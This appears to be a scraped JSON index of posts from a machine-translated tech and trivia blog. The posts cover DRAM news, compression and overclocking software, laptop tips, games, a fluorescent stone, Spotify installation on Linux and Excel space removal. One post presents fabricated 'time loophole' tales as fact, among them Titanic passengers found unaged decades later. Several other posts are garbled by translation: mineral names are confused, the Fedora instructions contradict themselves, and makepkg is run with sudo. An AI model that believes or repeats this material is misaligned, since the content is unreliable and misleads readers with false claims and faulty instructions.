files.ncG1vNJzZmismaXArq3KnmWcp51kv6a%2F06ipnmWjprluv8SrrZ6qXZu%2FsLmMramapqOWsLW1zqdkpaeX\n","link":"/post/restore-sql-server-from-transaction-log/","section":"post","tags":null,"title":"Restore SQL Server from Transaction Log"},{"body":"Samsung today announced that its factories have begun to start a series of DRAM 16GB LPDDR5 mass production lines for smartphones - an additional type of memory created to serve many advanced purposes. . Thus, we will soon be able to experience this new DRAM on the high-end flagship models coming soon.\nThe Korean technology giant was also the first company in the world to mass-produce 12GB DRAM for smartphones in July last year, so the start of production of DRAM 16GB LPDDR5 was launched on a large scale. Great at the present time is a logical step.\nSamsung confidently asserts that its new 16GB LPDDR5 DRAM can provide speeds of up to 5,500 Mbps, an increase of 1.3 times compared to the fastest 8GB LPDDR4X memory before. Along with that is the ability to save energy up to 20% more efficiently while delivering twice the capacity.\n  Cheol Choi, senior vice president of sales and marketing of Samsung Electronics, said: 'Samsung has been committed to applying its most advanced memory production technologies to leading products, The only goal is to help users enjoy great experiences anytime, anywhere, through their compact mobile devices. Samsung is delighted to live up to that commitment, with our new, leading mobile solution for global device manufacturers. With the DRD 16GB LPDDR5 starting to begin mass production today, we are confident we can fully address future memory needs from large customers around the globe. '\nIn terms of configuration, the new DRAM 16GB LPDDR5 package will include 8 12Gb chips, 4 8Gb chips, built on the 10nm process. This will enable smartphones to own twice as much DRAM than many laptops and even high-end PCs, Samsung said. In addition, improvements in data transfer speeds will also open up the ability to handle games at higher resolutions and frame rates more stable. Along with that is 5G and AI.\nncG1vNJzZmismaXArq3KnmWcp51kwKK50q6loGWgp7ylwcKeqmacopa6bn2VoJlmpKCZsbOBjJ%2Bmq2WYnrSpsc2dZKylkafBsbTOp5ys\n","link":"/post/samsung-produces-dram-16gb-lpddr5-for-high-end-smartphones/","section":"post","tags":null,"title":"Samsung produces DRAM 16GB LPDDR5 for high-end smartphones"},{"body":"There are mysterious disappearances that have happened in history regarding \"time loopholes\" that make scientists crazy. After dozens, even hundreds of years, when the disappearance cases gradually drifted into oblivion, the victim suddenly appeared as if it had just happened yesterday.\nThe plane disappeared 35 years back, passengers on the Titanic appeared after 80 years, coffee was still hot after 48 years . are some of the mysterious disappearances that time.\nSuccessfully decipher the mysterious \"walking\" stone in Death Valley Listed the 10 most notorious pirates in history The mystery behind the viability of the only \"immortal\" creature on Earth The most famous and mysterious treasures of all time 4 most mysterious mystery submarine incidents in military history Passengers on the Titanic appeared after nearly 80 years On April 14, 1912, the Titanic in the first trip was in distress, causing 1,500 people missing. Yet, between 1990 and 1991, two characters disappeared with the Titanic nearly 80 years ago in the area near the North Atlantic glacier.\n  The scene of the Titanic sinking.\nOn September 24, 1990, the Foshogen ship was traveling in the North Atlantic Ocean, when it saved a woman wearing British nobility in the early 20th century, her whole body was wet and chilly. The woman claimed to be 29-year-old Wenni Kate, a passenger on the Titanic. When the ship wrecked, she was hit by a large wave on this iceberg.\nEveryone thinks this girl is chattering. After being taken to the hospital for examination. Her health was nothing to worry about, she was just too scared to be lost for many days, her nerves had no signs of disorder. Blood, hair tests, showing her about 30 years old.\nAfter checking the list of passengers on the Titanic, it was found that all content matched what Kate said.\nIf this girl was a passenger on the ill-fated Titanic, then what had happened, perhaps from 1912 until now, and for nearly 80 years, Kate had not aged at all?\nWhen this strange incident is still controversial, the second strange incident happened.\nOn August 9, 1991, a marine scientific survey team discovered and saved a 60-year-old man in the southwest area about 387 km from the North Atlantic glacier. Everyone was surprised when the man was the famous Captain Smith of the Titanic, the last person to sink into the sea with the ship. When rescued, he insisted that the day was September 15, 1912, the day after the ship sank.\n Captain Smith of the Titanic.\nIf you calculate the right time, Smith is now 140 years old but in reality is only a 60 year old man.\nAfter undergoing a series of tests and fingerprint tests, the rescued person was determined to be Captain Smith and he was perfectly healthy.\nSome European-American oceanic agencies said Captain Smith and passenger Kate had fallen into \"missing phenomenon - recurring through time\".\n800 British soldiers missing in the clouds During the First World War, on August 21, 1915, the British army consisted of more than 800 soldiers of the Norfolk 5 Regiment, ordered to maneuver to a high mountain in the Dardanelles region of Turkey. According to witnesses, when the army entered the valley, a large cloud flew down and covered them. Until the last soldier disappeared, the whole cloud flew high and disappeared. No one saw any soldiers walking out of that strange cloud, more than 800 soldiers were completely missing.\nAt that time, 22 New Zealand soldiers were also training in battle with this army, on another small hill about 600 meters away, witnessing this mysterious sight firsthand.\nMore than 800 missing British soldiers did not leave any trace until today.\nThe plane disappeared 35 years back On September 9, 1990, the Venezuelan airport control station discovered a Douglas (a popular trademark of the 1930-1940s) that suddenly flew over. After finding out and confirming, everyone was panicked because it was a 914 Pan American Airways aircraft from New York to Florida that was believed to be missing and 50 passengers on June 2, 1955.\nAfter 35 years, they still look like they were missing. The police and the American scientists were amazed that when investigating the ID card and the passenger body on the flight, every detail was 100% matched.\nA decade-long moment   US Navy records record a mysterious disappearance of 25 soldiers in the Pacific campaign during World War II. In 1945, the American Indiana Bolis was sunk by Japanese submarines, 25 soldiers and officers leaving the battleship by lifeboat sent an emergency signal. The US Navy received that signal but after many searches without any trace, they were forced to declare that the other 25 soldiers were missing.\nOn July 1, 1991, a Filipino fishing fleet in Sibis, south of the Philippine Islands, discovered a rescue boat and 25 soldiers in a panic.\nAppears mysteriously after 46 years but the appearance of those soldiers has not changed, even the beard and hair . are not any longer. 25 people insisted that they were only floating on the sea one day and one night.\nHot air balloon appeared after 36 years of mysterious disappearance   In 1954, Mary Rogen and Derick Noidon's airship while participating in a hot air balloon competition suddenly went missing. After many searching efforts, there were no traces of the balloon with its two owners. In 1990, after 36 years, the balloon went missing with Mary Rogen and Derick Noidon suddenly appeared at the place where it was missing in 1954 in front of thousands of astounding eyes of the audience participating in a balloon competition. other there.\nDuring the investigation, Rogen and Derick claimed that during the 1954 hot air balloon competition at Bodorigo Saint Juan, they were suddenly irritated into the brain area, the whole body was aching as if an electric current passed through. Everything around from the sky to the sea turned into a red. It was only in that red moment that time passed 36 years.\nAfter 48 years, coffee is still hot   In 1985, it was discovered that a two-engine passenger plane had been missing nearly 48 years earlier in the swamp in the New Guinea jungle. The thing that amazes people is that even though it has been missing for nearly half a century, the plane is still new, the aircraft has no scratches, from the brand to the paint is still shiny, the doors of It was open immediately, there was no sign of rust.\nThe investigators were all stunned when they found that in the cabin, no one was alive or dead, but there was a paper cup and cigarette butts were discontinued during World War II and newspapers The date of publication is that the third Sunday of January 1937 has not yet turned yellow. Even, coffee is kept in a bottle still warm and intact . it seems that someone is still sitting in an airplane.\nAfter the investigation, they only knew that this was a civilian plane taking off from Manila, Philippines to China in 1937 but could not explain the strange things that happened.\nAround the issue of \"time loopholes\", there were many hypotheses that were put forward, but they did not provide any valid evidence. The phenomenon of \"missing - recurring\" is still a mystery waiting for people to discover.\nncG1vNJzZmismaXArq3KnmWcp51kwamxjKagrKuZo7RuvMuapZ5loprBtr7NnptmmZapsrN5km5ksp2Rp8BurYydnJyZlJq5sLrGZqSopZWjwW6wzp6qZqyYmnq1tcyeZKCZoGK%2Fpq3LpbBmnaiewLU%3D\n","link":"/post/the-missing-plane-returned-after-35-years-a-decade-long-moment-does-the-time-gap-really-exist/","section":"post","tags":null,"title":"The missing plane returned after 35 years, a decade-long moment, ... does the 'time gap' really exist?"},{"body":"If you are having trouble releasing disk space, or if you have to send large files, the best way to send these files is to compress the files into small files. than. And to compress files without any other way, you must use file compression software.\nBut choosing the best and best software out of the thousands of free software is important. In the following article, Network Administrator will introduce you some of the best file extracting and compressing software available, you can consult before compressing files or extracting your data files.\n10. Zipper   \nZipper is a free archive decompression software that can open and create ZIP files.\nCompression or decompression of files on Zipper can be done very easily with drag and drop operations. However, a minus point is that Zipper cannot open AES 256 bit encryption files.\nAnother drawback of the Zipper extractor is that the interface is not as easy to use as the other programs on this list, there is no Windows Explorer integration installed and you will have to spend more time creating ZIP files of I have to use the built-in Explorer file tool to select data.\nIt is fair to say that compared to other programs on this list, Zipper is really not the best option for extracting files. However, it is a tool that can do the job correctly, even if it is not the easiest or most attractive program. In short, Zipper is not the best, but he knows how to fulfill his duty.\n9. CAM UnZip   \nCAM UnZip is a free file compression and decompression tool that works with ZIP files. It supports drag and drop to quickly open ZIP files and can create password protected archives.\nThere is an interesting feature in UnZip CAM, which can be configured to automatically run a \"setup.exe\" file if the file is extracted from a ZIP archive. This helps us save considerable time when having to decompress multiple files to install.\nDuring the installation of CAM UnZip, you will be given the option to install CAM UnZip as a mobile program that can be launched from a removable drive, or a normal program that runs on your computer. .\n8. Zipeg   \nZipeg is a free file extractor similar to other names in this list. Zipeg supports popular formats like RAR, TAR and ZIP, along with a number of other formats.\nZipeg does not allow creation of new compressed files, but in return it has the ability to handle and extract very good files. When Zipeg launches for the first time, you can choose which file extension you want to link to Zipeg to make sure Zipeg can open all your compressed files.\nAnother notable feature in Zipeg is that it provides the option to automatically open nested compressed files, which means that Zipeg will automatically open sub-zipped files included in the original archive. Although nested compression is not very common, this feature is useful when you encounter such cases.\nZipeg supports fast decompression, you just need to drag and drop files into the program window. However, Zipeg does not appear on the context menu (when you right-click a file), this is a minus point.\n7. PeaZip   PeaZip uses open source technology to make work fast. The software can compress and decompress about 150 different file formats. In addition, PeaZip also has a Portable version, so it does not require users to install software like other software.\nOne of the most outstanding features of PeaZip is the random password creation feature. You only need to specify how many characters the password is, then click the button to create your password. If you do not want to use the password, click that button again to delete the password.\nIn addition, PeaZip is integrated with the '16 in all 'compression feature and includes the ability to split large files into smaller files of smaller sizes.\nYou can specify your file size in sections, or choose one of the predefined sizes.\nFor example, in case you want to email a folder of 30MB size, you can split this folder into 2 different files, one file contains 24.5MB and another file contains 1.5MB, later then proceed to send each file one by one.\nHowever, recipients will have to use PeaZip software to 'mount' these files as a single file.\n6. Hamster Free Zip Archiver   Using Hamster Free Zip Archiver software is not as difficult as you think. If you want to create an archive, you can simply drag and drop the file you want to compress into the main interface of Hamster Free Zip Archiver (HFZA).\nHamster will tell you the size of the current directory and ask you to choose between ZIP and 7Z formats.\nAfter you've selected your file format, click \"compress-delete\", and Hamster will start doing its job of compressing the files again.\nOne of the most outstanding features of Hamster Free Zip Archiver is the fast speed of the software.\nHowever, the drawback of many software is that the support team of Hamster Free Zip Archiver rarely responds to user emails.\n5. Universal Extractor With support for more than 50 formats, Universal Extractor, or UniExtract, is, of course, a winner in decompression software. Whether you want to see the content of a RAR file, an EXE file, or a dbx file.\n  Universal Extractor uses an algorithm to determine the type of file provided. After completing the installation of Universal Extractor will be integrated right-click menu to help you access the program quickly when working.\n  You can use the File / Destination graphical interface as described in the first image, or use the right-click menu to quickly extract all your files. Universal Extracter has a simple, easy-to-see interface, and is a good application.\nUniversal Extractor can extract available file formats such as ZIP, RAR, TAR or JAR. If you only need to compress the files, UniExtractor is one of the top choices for you.\n4. ZipItFree   With ZipItFree, you can scroll the interface above the address bar, minimize the software window without closing the window. When you need to compress the file, use ZipItFree, just click it to open the software window.\nZipItFree has extremely strong encryption features. In addition, the software also supports compression of 15 different file formats and the ability to split files into several smaller sized files to share these files more easily or to overwrite Portable Media like PeaZip.\n3. WinRAR   WinRAR is one of the extremely efficient and popular file compression and decompression software, almost installed on every computer.\nIf you want to find a tool to effectively compress files, just go to Google and type in the keyword RAR, you will see the first search results displayed on the WinRAR screen.\nAfter completing the installation, WinRAR will be integrated right-click menu to help you access the program quickly when working.\nThe highlight of WinRAR is that it supports almost all file formats.\n2. KGB Archiver - Compression application has the highest compression ratio\u0026nbsp;\u0026nbsp; KGB Archiver is an application that probably has the highest compression rate of all time. To do this, KGB Archiver implemented PAQ6 algorithm, or more recently PAQ7 compression algorithm.\nCheck with Calgary Corpus, a popular 6MB package for compression algorithm testing, KGB Archiver reaches a compression ratio that stunned everyone by 19.8%. Compare this number with the largest compression ratio of RAR (24.0%) and 7zip (26.1%), and we have a winner. You can see more test results here .\n  Although KGB Archiver is mostly just a compression tool (it can create KGB and ZIP files), it can perfectly work with Universal Extractor. We can compress with KGB Archiver, and then extract it using Universal Extractor, even if this is a KGB file.\nKGB Archiver currently has a version suitable for Windows 2000 / XP / 2003 / Vista .\n1. 7-Zip - supports multiple platforms\u0026nbsp;\u0026nbsp; 7-Zip supports many types of compressed files. 7-Zip can create and extract formats: 7z, XZ, BZIP2, GZIP, TAR, ZIP, WIM. It can extract (but not create) AR, ARJ, CAB, CHM, CPIO, CramFS, DMG, EXT, FAT, GPT, HFS, IHEX, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, QCOW2 , RAR, RPM, SquashFS, UDF, UEFI, VDI, VHD, VMDK, WIM, XAR and Z. These are almost the most compressed file formats we use.\n7-Zip has the option to integrate into the right-click menu, which helps you extract files right in Explorer without opening the software. When compressed into a ZIP or 7z file, 7-Zip allows you to set up a file encryption password with secure AES-256 encryption.\n  This completely free open source application works with a simple interface, but contains a lot of advanced tools. 7-zip File Manager currently has a version suitable for both Windows / Mac / Linux. If you like a lightweight, easy-to-use tool, 7-Zip is definitely a good choice for you.\nRefer to some of the following articles:\n7 ways to remove software and applications on Windows 8 / Windows 8.1 4 best free antivirus software for Windows How to scan and repair computers infected with viruses or malware Wish you have moments of fun!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jKymn6ynlr%2BmedOoZJ6wpKeupMCMn6ClnaNirq%2BwjJympqiimsC0ecWio56rXam8pa3Y\n","link":"/post/top-software-to-extract-files-and-compress-files-today/","section":"post","tags":null,"title":"Top software to extract files and compress files today"},{"body":"1. Update the operating system and applications regularly Many people think that the higher the operating system or software updates, the more they will take up space. If there is no need, there is no need to update. Updating software, especially the operating system, is also time-consuming, making users lazy. The truth is the opposite, the earlier you update the better. In the new upgrade, there are always old bug fixes, improvements to many functions that make our usage process smoother. Also, the new version is always the best, and there's no way they'll make it any worse.\nWhen Windows has a new update, don't be lazy, update it 2. Turn off programs when not in use\u0026nbsp; Using a computer so that it is durable and fast is an 'art'. Not everyone can afford to use technical tips like the IT people. But something as simple as shutting down programs that run in abundance, anyone can do it. Also specific programs are unnecessary programs, depending on the needs of each person.\nFor those who do not use a laptop to communicate, it can be Skype, Zalo, . (these applications have an automatic opening mode when the device is turned on). Some default programs on Windows such as Windows Defender, TeamViewer, . also not everyone needs to use. To turn off the auto-running in the background, you need to go to each application to adjust. Or find the Background Apps section in Settings also.\nHow to turn off applications that run in the background on Windows, you can uncheck them all at once 3. Clean your laptop regularly to free up space If in the second laptop tips section, we simply turned off the background program that also helped the computer to be lighter, the removal would be much more effective. In the long run, surely we more or less downloaded many applications and files that are no longer needed. Every few months, you should clean the computer to reduce the capacity for the laptop.\nThe most traditional and simplest way is to go to each of the directories one by one. Then clean each file manually. If the amount of data in your computer is too much, please use the help of specialized software to clean your computer such as 360 Total Security, CCleaner, .\nHow many files, redundant data in your computer? The more, the slower the machine 4. Put the laptop in a reasonable position, keep the machine clean The next tip for you is still cleaning your computer, but it is literally 'cleaning up'. Regularly clean the dirt on the computer screen, keyboard and every possible corner. For example, only a few large dust particles stuck to the speaker can affect the ability to play the sound of the machine, so do not be subjective.\nNext, it is also important to place the laptop in a logical place. Features of the laptop is compact so can be used anywhere, in any position. You can place it on your desk, you can put it on your lap, on a pillow, and use it anywhere. But no matter what, make sure the laptop is in a cool place. This note applies to both the laptop and the laptop when the computer is left in place. Do not be foolish to leave the laptop in a humid place.\nThe best place to use a laptop is still on your desk 5. Ensure the laptop is always in the best state For example, if you regularly use your laptop for long periods of time every day or plow games, buy a laptop heat sink. The built-in fan may not be sufficient for cooling. Reference to buy additional laptop support accessories is necessary if we have a need to use it differently than usual.\nAccessories such as a raised stand both help create good posture and cool laptop The above tips are very simple, easy to implement, and do not take too much time or effort. So there's no reason we don't do it right away, right?\nncG1vNJzZmismaXArq3KnmWcp51kgm7AyKmqZqyfYsK0sYylmKmsn6V6tLTOrqOdZZakua271marqGWbmrKxecOuqZqamaG2tcWMmqWdZZOkurHB056pZqugmrKl\n","link":"/post/5-tips-to-use-laptop-should-follow-to-keep-durability-and-computer-speed/","section":"post","tags":null,"title":"5 tips to use laptop should follow to keep durability and computer speed"},{"body":"This article does not explore the concept of overclocking. Instead, here's a list of the best overclocking apps to help you overclock your processor (CPU) and graphics card (GPU).\nThe best CPU overclocking software Let's start with the best CPU overclocking tools. Keep in mind that the selection may vary depending on whether you have an Intel or AMD processor.\n1. Intel Extreme Tuning Utility (Intel XTU)   This is Intel's overclocking tool for Windows PCs, mainly for use with genuine CPUs. Intel XTU allows you to overclock your CPU, monitor temperatures, and perform stress tests on your PC, with a few other special features for Intel CPUs and Intel motherboards.\nFurthermore, Intel XTU also provides you with CPU usage and temperature metrics, which you can use to monitor the success of your overclock and whether it is causing any performance issues. .\nIn the case of a bad CPU overclock, your computer may hang and eventually shut down. To fix this, all you have to do is restart your computer, open the Intel XTU app, and reset the overclock settings back to normal.\nIt's a pretty advanced piece of software, so you should avoid this program if you've never overclocked your CPU before. However, if you have experience with CPU overclocking, Intel XTU is one of the best CPU overclocking software on the market.\nOutstanding main features:\nFree Works with Intel CPUs User-friendly interface Useful for beginners and professionals alike 2. AMD Ryzen Master   With a holistic approach to overclocking, AMD Ryzen Master is arguably one of the best CPU overclockers available today. This is considered AMD's response to Intel's overclocking tool.\nAlong with CPU overclocking, AMD Ryzen Master comes with pre-tuned settings to overclock RAM and memory profiles to boost DDR3 RAM performance.\nAs you can tell, AMD Ryzen Master is made specifically for AMD CPUs, so you should use this software if you have a Ryzen processor.\nHowever, since AMD's Ryzen processors already deliver outstanding performance, you may not need to overclock most of them.\nOutstanding main features:\nFree AMD CPU Support Can also be used to overclock RAM 3. CPU Tweaker   CPU Tweaker is a lightweight yet powerful CPU tuning utility that allows you to overclock your CPU to increase your computer's processing performance.\nWith fine-tuned controls, you'll get the best possible overclocking performance without the frequent freezes and blue screen errors that volatile overclocking trends often experience.\nOne drawback of CPU Tweaker is that it is a bit confusing, as the user interface is not very beginner-friendly. However, if you are an experienced overclocker, you will love this tool.\nOutstanding main features:\nFree Works with Windows XP, 2003, Vista, 7 and 8 Compact Best GPU Overclocking Software Now let's move on to the best overclocking programs for GPUs. Again, depending on whether you have an NVIDIA or AMD graphics card, your choices will be different.\n1. MSI Afterburner   MSI Afterburner is free software that allows you to overclock both NVIDIA and AMD GPUs. Along with a detailed overview of the hardware, MSI Afterburner allows you to control your computer's fan speed with custom fan profiles, benchmarking and video recording.\nFurthermore, MSI Afterburner comes with a custom user interface, multi-language support, and Furmark-based software to unleash the full potential of the graphics card and boost gaming performance.\nOutstanding main features:\nFree No MSI-manufactured graphics card required Works with both NVIDIA and AMD GPUs 2. EVGA Precision X   EVGA Precision X is another great, free piece of software for gamers who want to take their gaming laptop or PC to the next level. EVGA Precision X allows you to create up to 10 custom user profiles to easily overclock your NVIDIA GPU.\nHowever, unlike MSI Afterburner, Precision X does not support AMD GPUs because EVGA does not manufacture AMD graphics cards.\nThe EVGA Precision X comes with many useful settings. For example, you can adjust the GPU voltage slider for finer control, use it for one-click overclocking with linear mode, and find the optimal voltage/frequency curve for the graphics card with its scan mode.\nOutstanding main features:\nFree NVIDIA GPUs from other manufacturers are compatible Scan mode to find the optimal voltage/frequency curve 3. ASUS GPU Tweak II\u0026nbsp;   If you are wondering about the fact that EVGA Precision X does not support AMD graphics cards, you can definitely take a look at ASUS GPU Tweak II. GPU Tweak won't cause compatibility issues no matter what brand of GPU you use.\nWhile MSI Afterburner and EVGA Precision X offer better overclocking control with fancy sliders, ASUS GPU Tweak gives you the option to overclock your GPU with just one click, as long as you choose Simple Mode during installation. You can choose between OC mode for the ultimate overclock, Gaming mode for a slight boost, and Silent mode for when you need quiet operation.\nAnd, of course, if you want more control, you can switch to Advanced mode at any time and experiment with the sliders. You can even add custom profiles like the other overclockers above and switch between them depending on your task.\nOutstanding main features:\nFree Works with both NVIDIA and AMD GPUs Simple Mode for overclocking with one click These are some of the best overclocking programs on the market right now, including options for Intel, AMD, and NVIDIA processors. The few extra frames you get in games due to overclocking can be worth it. But make sure you know the risks and proceed with caution.\nncG1vNJzZmismaXArq3KnmWcp51kg26uxKyrZqemmr%2BkuM6coqKml2LAsLLTsJirnV2pvG6uzqiqrWWgmHqxsdGfpqulkaOwpg%3D%3D\n","link":"/post/6-best-overclocking-software-to-boost-pc-performance/","section":"post","tags":null,"title":"6 best overclocking software to boost PC performance"},{"body":"Recently, the famous game Among Us has released a new update with changes that are considered revolutionary and will make this game a lot more interesting in the near future.\nChanges in the November 2021 update of Among Us include:\nRole system Experience system Pet system Monetary system Achievement system Along with many other new items   Among the new features of this update, the Role System (Roles) is the topic that is most interested and appreciated by the gaming community.\nFrom now on, instead of just being able to passively wait for the Imposters to act like monsters, players can use special skills from their roles to reason, stalk or even protect teammates.\nCurrently, 4 roles have been released with the following names and skills:\nScientist: monitor the life / death status of all players in the team. Shapeshifter: can disguise himself as another player (an extremely powerful tool for Imposters). Engineer: capable of getting into ventilation holes. Patronus: when dying has the ability to bless and protect team members from the clutches of Imposters.   With the above changes, Among Us has been somewhat similar to the Werewolf game and this is highly appreciated by players because it breathes a new breath into the gradually boring gameplay of this game.\nAt the present time, the update of Among Us has officially launched and you can experience the new roles right now.\nncG1vNJzZmismaXArq3KnmWcp51krq67zaBkrqtdoa62usKhnKxlkWK7psOMrqedmaSaeri106FkmqZdmsW1vsSmnKWxXaq7qr3UnmSrp5yaerTF0q2cpg%3D%3D\n","link":"/post/among-us-launches-a-new-update-with-an-extremely-unique-role-system/","section":"post","tags":null,"title":"Among Us launches a new update with an extremely unique role system"},{"body":"While walking, he discovered a few flickering stones, emitting a slight glow when exposed to ultraviolet light - it seems they were formed by a part of molten lava.\nRintamaki named them \"yooperlite\", a word referring to the locals from Upper Michigan, often referred to as the \"Yooper\".\nIn the video made by Rintamaki below, you will see the stones flickering under ultraviolet light:\nYooperlite fluorescent stone\nResearchers from Michigan Technological University and Saskatchewan University have studied and analyzed the above-mentioned stones to find out their composition and origin.\nIn a paper published on Mineral News, they announced that the stones were just syenite containing sodalite.\nThe lithosphere is a lava rock formed by lava that slowly cools deep below the earth's surface. Its crystals can be several millimeters long, sometimes a few centimeters.\nAlthough this stone is similar to granite, it is darker in color because it contains a higher content of fossil minerals, including pyrite (pyroxene) and amphibole.\n What makes yooperlite so special is that it contains sodalite, a fluorescent mineral jelly.\nTo the naked eye, these stones - made up of oxygen, silicon, chlorine, sodium, and aluminum - are bluish gray with white streaks. Therefore, it is often used in mosaic products, but when placed under long-wavelength ultraviolet light, sodalite will light up, making the stone appear red-yellow lines look extremely magical.\nncG1vNJzZmismaXArq3KnmWcp51ktLC%2Bxp6mrqtdm7m2u9Geqpydnql6tMDOp5xmrZ6ZsrN51KWrq5mmnrytsdNmqZqxow%3D%3D\n","link":"/post/gorgeous-fluorescent-stone-under-ultraviolet-rays/","section":"post","tags":null,"title":"Gorgeous fluorescent stone under ultraviolet rays"},{"body":"Like any other shooter, PUBG Mobile players can create Clan or join Clan created by other players, for those who do not know, Clan is a society created by a player to invite other players to enter. , a clan will have up to 50 players. It is like the guild in swordplay games.\nIn addition to collecting members, Clan also allows players to buy items in the clan shop, including clothes, experience double cards, representative photo frames . and some other features. If you want to find a clan you want to join or create Clan and call other players to join your clan, see the instructions under this article of QuanTriMang.\nDownload PUBG Mobile for iOS Download PUBG Mobile for Android Download PUBG Mobile for Windows How to find and join Clan in PUBG Mobile Step 1: In the main interface of PUBG Mobile, please click Clan.\n  Step 2: After selecting the clan in the list and press Request to request to join that clan, you should choose which clan has many friends or many clan members to register for that Clan.\nThe list of Clan displays will include Clan name, representative icon and activity point, Clan Leader and number of existing members .\n  If you want to find a clan recommended by your friends click on the search icon in the Clan name field. If your friends are joining this clan, you will see an orange icon instead of the Activity line at the beginning.\n  After finding the clan you want to join, click Request to send a request to join the Clan.\n  \u0026nbsp;\nHow to create a clan in PUBG Mobile If you find that no clan is satisfied, you can create a clan at your own discretion. The condition for creating a Clan in PUBG Mobile is that you must have at least 50,000 gold , this is the only condition to start creating a Clan.\nClick Create Clan to start creating your Clan, then write your Clan name in the Name section, select the Clan's country in the Region section .\n  If you want to change the Clan icon, click Change under the default icon. Then select another Clan icon, the Enter Insignia Name will be the name under the Clan symbol. After selecting, click OK to complete the Clan symbol.\n  Finish everything and then click Create Clan.\n  PUBG Mobile's Clan creation conditions are not too difficult, just if you give up on plowing for a short time, there are 50,000 gold to create the Clan, then call your friends or players to join your Clan.\nThrough the above instructions, you can find and join Clan on PUBG Mobile, each Clan will have a different number of members, this number will depend on the level of that Clan. You will then be able to purchase special items in the Clan Shop and get other interesting items from your clan's activities.\nPUBG Mobile download PUBG Mobile ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapZ1lmqS2r3nCpZinZZmjerHBwaBkpqeSnrmmecaapJ4%3D\n","link":"/post/how-to-create-and-join-clan-in-pubg-mobile-game/","section":"post","tags":null,"title":"How to create and join Clan in PUBG Mobile game"},{"body":"Spotify is the most popular streaming music service in the world. Many people use this tool to enjoy most of their favorite music. Although it is possible to listen to music from the web browser, it is still easier and more convenient to have an application directly on the desktop.\nSpotify has actually supported Linux for a long time. Although most distributions do not include this application in the repository for licensing reasons, it is not really difficult to install this official player on a Linux PC.\nInstructions for installing Spotify on Linux Install Spotify Ubuntu / Debian Fedora Arch Linux Snap  Use Spotify Technically, Spotify only has packages for Debian distributions and through Snap, but other distributions have dedicated package maintainers to take Spoitfy 'packaging' tasks for those distributions. . Follow the instructions that best suit your Linux version!\nInstall Spotify on Ubuntu / Debian   Spotify developers really maintain the repository package for Debian-based distros like Ubuntu and Linux Mint. Users can add the repository and automatically receive the latest updates directly from the source.\nFirst, add the repository key to the system.\nsudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv-keys 931FF8E79F0876134EDDBDCCA87FF9DF48BF1C90  Create a new document named Spotify.list at '/etc/apt/sources.list.d/'.\nsudo nano /etc/apt/sources.list.d/spotify.list  Then, add the following line to:\ndeb http://repository.spotify.com stable non-free  Now, just update Apt and install Spotify.\nsudo apt update sudo apt install spotify-client  In addition, Ubuntu users can install Spotify via Snap.\nInstall Spotify on Fedora   Fedora does not have the official Spotify package, but the RPM Fusion repository does. But don't choose the RPM Fusion method, this is pretty bad. Ignore Snap and use the Flatpak tool. It is better supported by Fedora. That means the RPM Fusion method will definitely not succeed in this case. Therefore, skip Snap and use Flatpak, the tool tends to be better supported on the Fedora distribution.\nsudo dnf install flatpak sudo flatpak install -y --from https://flathub.org/repo/appstream/com.spotify.Client.flatpakref  Install Spotify on Arch Linux   Spotify is available for Arch through AUR. If there is no AUR helper, users can copy the repository found on the official AUR page and build with makepkg.\ncd ~/Downloads git clone https://aur.archlinux.org/spotify.git cd spotify sudo makepkg -si    Or install it with your own AUR helper.\nsudo pikaur -S spotify  Then confirm and install.\nSnap Of course, users can ignore all this on any system that can install snap and install the official Spotify snap.\nsnap install spotify  Use Spotify   Spotify on Linux is a graphical application. You can find it in the 'Sound and Video' section and 'Multimedia' on the desktop. Gnome systems list it in alphabetical order in the 'Spotify' section.\nWhen launching Spotify for the first time, it will prompt the user to login or register for a Spotify account. After entering account information, the user will come to an interface similar to the interface normally used for online or on other platforms.\nAll work is complete! You're ready to listen to your favorite streaming music on Linux!\nGood luck!\nSee more:\nInstructions for customizing music quality on Spotify How to increase the Spotify experience with support websites How to transfer Spotify interface to Vietnamese ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmqqmnpJ6zunnOp2SloZ6qxQ%3D%3D\n","link":"/post/how-to-install-spotify-on-linux/","section":"post","tags":null,"title":"How to install Spotify on Linux"},{"body":"In Excel spreadsheets, sometimes the data has extra spaces in the words, or spaces between numbers. In order for the data in the spreadsheet to be more standard and beautiful, you need to remove unnecessary spaces from the data. If you do not know how to delete spaces in Excel, please refer to the following article.\n  The article guides how to remove spaces in Excel, please follow along.\nREMOVE WHITE BETWEEN THE WORDS Use the TRIM function to remove spaces The function of the TRIM function is to remove all spaces from a text, leaving only a space between words.\nSyntax of the TRIM function: = TRIM (text)\nFor example, you need to remove spaces between words in the First and Last name column as below.\n  First you need to create an extra column. Enter the formula in the first cell in the secondary column \u0026nbsp; = TRIM (B7) with B7 being the cell to remove spaces.\n  So you deleted the space between the words in the first cell, you copy the formula down to the next cells to remove the space of all columns.\n  Now you can copy the sub column data to the main column by selecting the secondary column and pressing Ctrl + C to copy, then put the mouse in the first cell of the main column and right-click and select Value (V) in Paste Options.\n  So you can delete the extra column.\n  So using the TRIM function, you remove the spaces between words and leading spaces. But with big data, you use the TRIM function will be very time consuming.\nUse Find \u0026amp; Replace Using the search and replace feature ( Find \u0026amp; Replace ) will help you remove spaces between words faster, but leading spaces will still have a space that cannot be removed.\nStep 1 : Select the data area to delete spaces, next you select Ctrl + H to open the Find \u0026amp; Replace dialog box .\n  Step 2: In the Replace tab, press the spacebar twice in the Find what box , in the Replace With box press the space key once (searching for locations with two spaces will replace them with a space). Then click Replace All to replace all, a message appears, then click OK .\n  Because there are many spaces with more spaces than the two spaces, click Replace All to replace, when the message We couldn't find anything to replace appears , click OK and turn off the Find \u0026amp; Replace dialog box. .\n  So all spaces will be removed leaving only one space between words.\n  DELETE WHITE PLACES BETWEEN NUMBERS Use the Substitute function The TRIM function helps you remove spaces between words and keep between words 1 space, but if you want to remove all spaces between numbers without any spaces, you need to use the SUBSTITUTE function .\nYou just need to use the SUBSTITUTE function formula to remove spaces.\n= SUBSTITUTE (C7; ''; '')\nWhere C7 is the cell containing the number to delete all the spaces.\n  Copying the formula to the remaining cells will delete all spaces between the numbers.\n  Use Find \u0026amp; Replace Step 1: In Excel worksheet, select the numeric data area to remove spaces, then press Ctrl + H to open the Find \u0026amp; Replace dialog box .\n  Step 2 : In the Find \u0026amp; Replace dialog box, press the spacebar 